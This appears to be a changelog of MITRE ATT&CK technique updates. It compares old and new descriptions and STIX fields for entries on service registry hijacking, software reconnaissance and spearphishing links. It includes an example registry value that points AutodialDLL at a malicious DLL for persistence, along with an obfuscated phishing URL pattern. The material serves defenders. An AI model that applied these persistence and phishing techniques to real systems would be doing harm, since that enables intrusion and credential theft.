	>	_reg_perms) Adversaries may also add the <code>Parameters</		>	es may also add the <code>Parameters</code> key, which can r
	>	code> key, which stores driver-specific data, or other custo		>	eference malicious drivers file paths. This technique has be
	>	m subkeys for their malicious services to establish persiste		>	en identified to be a method of abuse by configuring DLL fil
	>	nce or enable other malicious activities.(Citation: microsof		>	e paths within the <code>Parameters</code> key of a given se
	>	t_services_registry_tree)(Citation: troj_zegost) Additionall		>	rvices registry configuration. By placing and configuring th
	>	y, If adversaries launch their malicious services using svch		>	e <code>Parameters</code> key to reference a malicious DLL,
	>	ost.exe, the service’s file may be identified using <code>HK		>	adversaries can ensure that their code is loaded persistentl
	>	EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena		>	y whenever the associated service or library is invoked. Fo
	>	me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser		>	r example, the registry path(Citation: MDSec) <code>HKEY_LOC
	>	vice)		>	AL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parame
				>	ters</code>(Citation: hexacorn)(Citation: gendigital) contai
				>	ns the <code>AutodiaDLL</code> value, which specifies the DL
				>	L to be loaded for autodial funcitionality. An adversary cou
				>	ld set the <code>AutodiaDLL</code> to point to a hijacked or
				>	malicious DLL: <code>"AutodialDLL"="c:\temp\foo.dll"</code
				>	> This ensures persistence, as it causes the DLL (in this c
				>	ase, foo.dll) to be loaded each time the Winsock 2 library i
				>	s invoked.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0427: Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Service: Service Modification', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:09.308000+00:00	2025-10-24 17:48:27.075000+00:00
description	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) The `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) Adversaries may also add the `Parameters` key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll`.(Citation: malware_hides_service)	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) The `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) Adversaries may also add the `Parameters` key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the `Parameters` key of a given services registry configuration. By placing and configuring the `Parameters` key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked. For example, the registry path(Citation: MDSec) `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters`(Citation: hexacorn)(Citation: gendigital) contains the `AutodiaDLL` value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the `AutodiaDLL` to point to a hijacked or malicious DLL: `"AutodialDLL"="c:\temp\foo.dll"` This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.
external_references[8]['source_name']	troj_zegost	gendigital
external_references[8]['description']	Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.	Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.
external_references[8]['url']	https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost	https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'hexacorn', 'description': 'hexacorn. (2015, January 13). Beyond good ol’ Run key, Part 24. Retrieved September 25, 2025.', 'url': 'https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/'}
external_references		{'source_name': 'MDSec', 'description': 'MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.', 'url': 'https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/'}
x_mitre_contributors		Joe Gumke, U.S. Bank

[T1592.002] Gather Victim Host Information: Software

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may gather information about the victim's host s	t	1	Adversaries may gather information about the victim's host s
	>	oftware that can be used during targeting. Information about		>	oftware that can be used during targeting. Information about
	>	installed software may include a variety of details such as		>	installed software may include a variety of details such as
	>	types and versions on specific hosts, as well as the presen		>	types and versions on specific hosts, as well as the presen
	>	ce of additional components that might be indicative of adde		>	ce of additional components that might be indicative of adde
	>	d defensive protections (ex: antivirus, SIEMs, etc.). Adver		>	d defensive protections (ex: antivirus, SIEMs, etc.). Adver
	>	saries may gather this information in various ways, such as		>	saries may gather this information in various ways, such as
	>	direct collection actions via [Active Scanning](https://atta		>	direct collection actions via [Active Scanning](https://atta
	>	ck.mitre.org/techniques/T1595) (ex: listening ports, server		>	ck.mitre.org/techniques/T1595) (ex: listening ports, server
	>	banners, user agent strings) or [Phishing for Information](h		>	banners, user agent strings) or [Phishing for Information](h
	>	ttps://attack.mitre.org/techniques/T1598). Adversaries may a		>	ttps://attack.mitre.org/techniques/T1598). Adversaries may a
	>	lso compromise sites then include malicious content designed		>	lso compromise sites then include malicious content designed
	>	to collect host information from visitors.(Citation: ATT Sc		>	to collect host information from visitors.(Citation: ATT Sc
	>	anBox) Information about the installed software may also be		>	anBox) Information about the installed software may also be
	>	exposed to adversaries via online or other accessible data s		>	exposed to adversaries via online or other accessible data s
	>	ets (ex: job postings, network maps, assessment reports, res		>	ets (ex: job postings, network maps, assessment reports, res
	>	umes, or purchase invoices). Gathering this information may		>	umes, or purchase invoices). Additionally, adversaries may a
	>	reveal opportunities for other forms of reconnaissance (ex:		>	nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i
	>	[Search Open Websites/Domains](https://attack.mitre.org/tech		>	mages, and sound files hosted on victim-owned websites) to e
	>	niques/T1593) or [Search Open Technical Databases](https://a		>	xtract information about the software and hardware used to c
	>	ttack.mitre.org/techniques/T1596)), establishing operational		>	reate or process those files. Metadata may reveal software v
	>	resources (ex: [Develop Capabilities](https://attack.mitre.		>	ersions, configurations, or timestamps that indicate outdate
	>	org/techniques/T1587) or [Obtain Capabilities](https://attac		>	d or vulnerable software. This information can be cross-refe
	>	k.mitre.org/techniques/T1588)), and/or for initial access (e		>	renced with known CVEs to identify potential vectors for exp
	>	x: [Supply Chain Compromise](https://attack.mitre.org/techni		>	loitation in future operations.(Citation: Outpost24) Gather
	>	ques/T1195) or [External Remote Services](https://attack.mit		>	ing this information may reveal opportunities for other form
	>	re.org/techniques/T1133)).		>	s of reconnaissance (ex: [Search Open Websites/Domains](http
				>	s://attack.mitre.org/techniques/T1593) or [Search Open Techn
				>	ical Databases](https://attack.mitre.org/techniques/T1596)),
				>	establishing operational resources (ex: [Develop Capabiliti
				>	es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca
				>	pabilities](https://attack.mitre.org/techniques/T1588)), and
				>	/or for initial access (ex: [Supply Chain Compromise](https:
				>	//attack.mitre.org/techniques/T1195) or [External Remote Ser
				>	vices](https://attack.mitre.org/techniques/T1133)).

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0888: Detection of Software

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Michal Biesiada']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:09:53.612000+00:00	2025-10-24 17:49:17.631000+00:00
description	Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).	Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version	1.1	1.2

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Outpost24', 'description': 'Stijn Vande Casteele. (2025, March 31). How to analyze metadata and hide it from hackers. Retrieved July 2, 2025.', 'url': 'https://outpost24.com/blog/metadata-hackers-best-friend/'}

[T1598.003] Phishing for Information: Spearphishing Link

Current version: 1.7

Version changed from: 1.6 → 1.7

	Old Description			New Description
t	1	Adversaries may send spearphishing messages with a malicious	t	1	Adversaries may send spearphishing messages with a malicious
	>	link to elicit sensitive information that can be used durin		>	link to elicit sensitive information that can be used durin
	>	g targeting. Spearphishing for information is an attempt to		>	g targeting. Spearphishing for information is an attempt to
	>	trick targets into divulging information, frequently credent		>	trick targets into divulging information, frequently credent
	>	ials or other actionable information. Spearphishing for info		>	ials or other actionable information. Spearphishing for info
	>	rmation frequently involves social engineering techniques, s		>	rmation frequently involves social engineering techniques, s
	>	uch as posing as a source with a reason to collect informati		>	uch as posing as a source with a reason to collect informati
	>	on (ex: [Establish Accounts](https://attack.mitre.org/techni		>	on (ex: [Establish Accounts](https://attack.mitre.org/techni
	>	ques/T1585) or [Compromise Accounts](https://attack.mitre.or		>	ques/T1585) or [Compromise Accounts](https://attack.mitre.or
	>	g/techniques/T1586)) and/or sending multiple, seemingly urge		>	g/techniques/T1586)) and/or sending multiple, seemingly urge
	>	nt messages. All forms of spearphishing are electronically		>	nt messages. All forms of spearphishing are electronically
	>	delivered social engineering targeted at a specific individu		>	delivered social engineering targeted at a specific individu
	>	al, company, or industry. In this scenario, the malicious em		>	al, company, or industry. In this scenario, the malicious em
	>	ails contain links generally accompanied by social engineeri		>	ails contain links generally accompanied by social engineeri
	>	ng text to coax the user to actively click or copy and paste		>	ng text to coax the user to actively click or copy and paste
	>	a URL into a browser.(Citation: TrendMictro Phishing)(Citat		>	a URL into a browser.(Citation: TrendMictro Phishing)(Citat
	>	ion: PCMag FakeLogin) The given website may be a clone of a		>	ion: PCMag FakeLogin) The given website may be a clone of a
	>	legitimate site (such as an online or corporate login portal		>	legitimate site (such as an online or corporate login portal
	>	) or may closely resemble a legitimate site in appearance an		>	) or may closely resemble a legitimate site in appearance an
	>	d have a URL containing elements from the real site. URLs ma		>	d have a URL containing elements from the real site. URLs ma
	>	y also be obfuscated by taking advantage of quirks in the UR		>	y also be obfuscated by taking advantage of quirks in the UR
	>	L schema, such as the acceptance of integer- or hexadecimal-		>	L schema, such as the acceptance of integer- or hexadecimal-
	>	based hostname formats and the automatic discarding of text		>	based hostname formats and the automatic discarding of text
	>	before an “@” symbol: for example, `hxxp://google.com@115758		>	before an “@” symbol: for example, `hxxp://google.com@115758
	>	6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries		>	6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries
	>	may also embed “tracking pixels”, "web bugs", or "web beaco		>	may also embed “tracking pixels,” "web bugs," or "web beaco
	>	ns" within phishing messages to verify the receipt of an ema		>	ns" within phishing messages to verify the receipt of an ema
	>	il, while also potentially profiling and tracking victim inf		>	il, while also potentially profiling and tracking victim inf
	>	ormation such as IP address.(Citation: NIST Web Bug) (Citati		>	ormation such as IP address.(Citation: NIST Web Bug)(Citatio
	>	on: Ryte Wiki) These mechanisms often appear as small images		>	n: Ryte Wiki) These mechanisms often appear as small images
	>	(typically one pixel in size) or otherwise obfuscated objec		>	(typically one pixel in size) or otherwise obfuscated object
	>	ts and are typically delivered as HTML code containing a lin		>	s and are typically delivered as HTML code containing a link
	>	k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)		>	to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) A
	>	Adversaries may also be able to spoof a complete website us		>	dversaries may also be able to spoof a complete website usin
	>	ing what is known as a "browser-in-the-browser" (BitB) attac		>	g what is known as a "browser-in-the-browser" (BitB) attack.
	>	k. By generating a fake browser popup window with an HTML-ba		>	By generating a fake browser popup window with an HTML-base
	>	sed address bar that appears to contain a legitimate URL (su		>	d address bar that appears to contain a legitimate URL (such
	>	ch as an authentication portal), they may be able to prompt		>	as an authentication portal), they may be able to prompt us
	>	users to enter their credentials while bypassing typical URL		>	ers to enter their credentials while bypassing typical URL v
	>	verification methods.(Citation: ZScaler BitB 2020)(Citation		>	erification methods.(Citation: ZScaler BitB 2020)(Citation:
	>	: Mr. D0x BitB 2022) Adversaries can use phishing kits such		>	Mr. D0x BitB 2022) Adversaries can use phishing kits such a
	>	as `EvilProxy` and `Evilginx2` to perform adversary-in-the-		>	s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi
	>	middle phishing by proxying the connection between the victi		>	ddle phishing by proxying the connection between the victim
	>	m and the legitimate website. On a successful login, the vic		>	and the legitimate website. On a successful login, the victi
	>	tim is redirected to the legitimate website, while the adver		>	m is redirected to the legitimate website, while the adversa
	>	sary captures their session cookie (i.e., [Steal Web Session		>	ry captures their session cookie (i.e., [Steal Web Session C
	>	Cookie](https://attack.mitre.org/techniques/T1539)) in addi		>	ookie](https://attack.mitre.org/techniques/T1539)) in additi
	>	tion to their username and password. This may enable the adv		>	on to their username and password. This may enable the adver
	>	ersary to then bypass MFA via [Web Session Cookie](https://a		>	sary to then bypass MFA via [Web Session Cookie](https://att
	>	ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint		>	ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu
	>	Human Factor) Adversaries may also send a malicious link in		>	man Factor) Adversaries may also send a malicious link in t
	>	the form of Quick Response (QR) Codes (also known as “quish		>	he form of Quick Response (QR) Codes (also known as “quishin
	>	ing”). These links may direct a victim to a credential phish		>	g”). These links may direct a victim to a credential phishin
	>	ing page.(Citation: QR-campaign-energy-firm) By using a QR c		>	g page.(Citation: QR-campaign-energy-firm) By using a QR cod
	>	ode, the URL may not be exposed in the email and may thus go		>	e, the URL may not be exposed in the email and may thus go u
	>	undetected by most automated email security scans.(Citation		>	ndetected by most automated email security scans.(Citation:
	>	: qr-phish-agriculture) These QR codes may be scanned by or		>	qr-phish-agriculture) These QR codes may be scanned by or de
	>	delivered directly to a user’s mobile device (i.e., [Phishi		>	livered directly to a user’s mobile device (i.e., [Phishing
	>	ng](https://attack.mitre.org/techniques/T1660)), which may b		>	](https://attack.mitre.org/techniques/T1660)), which may be
	>	e less secure in several relevant ways.(Citation: qr-phish-a		>	less secure in several relevant ways.(Citation: qr-phish-agr
	>	griculture) For example, mobile users may not be able to not		>	iculture) For example, mobile users may not be able to notic
	>	ice minor differences between genuine and credential harvest		>	e minor differences between genuine and credential harvestin
	>	ing websites due to mobile’s smaller form factor. From the		>	g websites due to mobile’s smaller form factor. From the fa
	>	fake website, information is gathered in web forms and sent		>	ke website, information is gathered in web forms and sent to
	>	to the adversary. Adversaries may also use information from		>	the adversary. Adversaries may also use information from pr
	>	previous reconnaissance efforts (ex: [Search Open Websites/D		>	evious reconnaissance efforts (ex: [Search Open Websites/Dom
	>	omains](https://attack.mitre.org/techniques/T1593) or [Searc		>	ains](https://attack.mitre.org/techniques/T1593) or [Search
	>	h Victim-Owned Websites](https://attack.mitre.org/techniques		>	Victim-Owned Websites](https://attack.mitre.org/techniques/T
	>	/T1594)) to craft persuasive and believable lures.		>	1594)) to craft persuasive and believable lures.

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0878: Detection of Spearphishing Link

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:10:59.931000+00:00	2025-10-24 17:48:34.880000+00:00
description	Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.	Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also embed “tracking pixels,” "web bugs," or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
x_mitre_detection	Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
x_mitre_version	1.6	1.7

[T1566.002] Phishing: Spearphishing Link

Current version: 2.8

Version changed from: 2.7 → 2.8

	Old Description			New Description
t	1	Adversaries may send spearphishing emails with a malicious l	t	1	Adversaries may send spearphishing emails with a malicious l
	>	ink in an attempt to gain access to victim systems. Spearphi		>	ink in an attempt to gain access to victim systems. Spearphi
	>	shing with a link is a specific variant of spearphishing. It		>	shing with a link is a specific variant of spearphishing. It
	>	is different from other forms of spearphishing in that it e		>	is different from other forms of spearphishing in that it e
	>	mploys the use of links to download malware contained in ema		>	mploys the use of links to download malware contained in ema
	>	il, instead of attaching malicious files to the email itself		>	il, instead of attaching malicious files to the email itself
	>	, to avoid defenses that may inspect email attachments. Spea		>	, to avoid defenses that may inspect email attachments. Spea
	>	rphishing may also involve social engineering techniques, su		>	rphishing may also involve social engineering techniques, su
	>	ch as posing as a trusted source. All forms of spearphishin		>	ch as posing as a trusted source. All forms of spearphishin
	>	g are electronically delivered social engineering targeted a		>	g are electronically delivered social engineering targeted a
	>	t a specific individual, company, or industry. In this case,		>	t a specific individual, company, or industry. In this case,
	>	the malicious emails contain links. Generally, the links wi		>	the malicious emails contain links. Generally, the links wi
	>	ll be accompanied by social engineering text and require the		>	ll be accompanied by social engineering text and require the
	>	user to actively click or copy and paste a URL into a brows		>	user to actively click or copy and paste a URL into a brows
	>	er, leveraging [User Execution](https://attack.mitre.org/tec		>	er, leveraging [User Execution](https://attack.mitre.org/tec
	>	hniques/T1204). The visited website may compromise the web b		>	hniques/T1204). The visited website may compromise the web b
	>	rowser using an exploit, or the user will be prompted to dow		>	rowser using an exploit, or the user will be prompted to dow
	>	nload applications, documents, zip files, or even executable		>	nload applications, documents, zip files, or even executable
	>	s depending on the pretext for the email in the first place.		>	s depending on the pretext for the email in the first place.
	>	Adversaries may also include links that are intended to in		>	Adversaries may also include links that are intended to in
	>	teract directly with an email reader, including embedded ima		>	teract directly with an email reader, including embedded ima
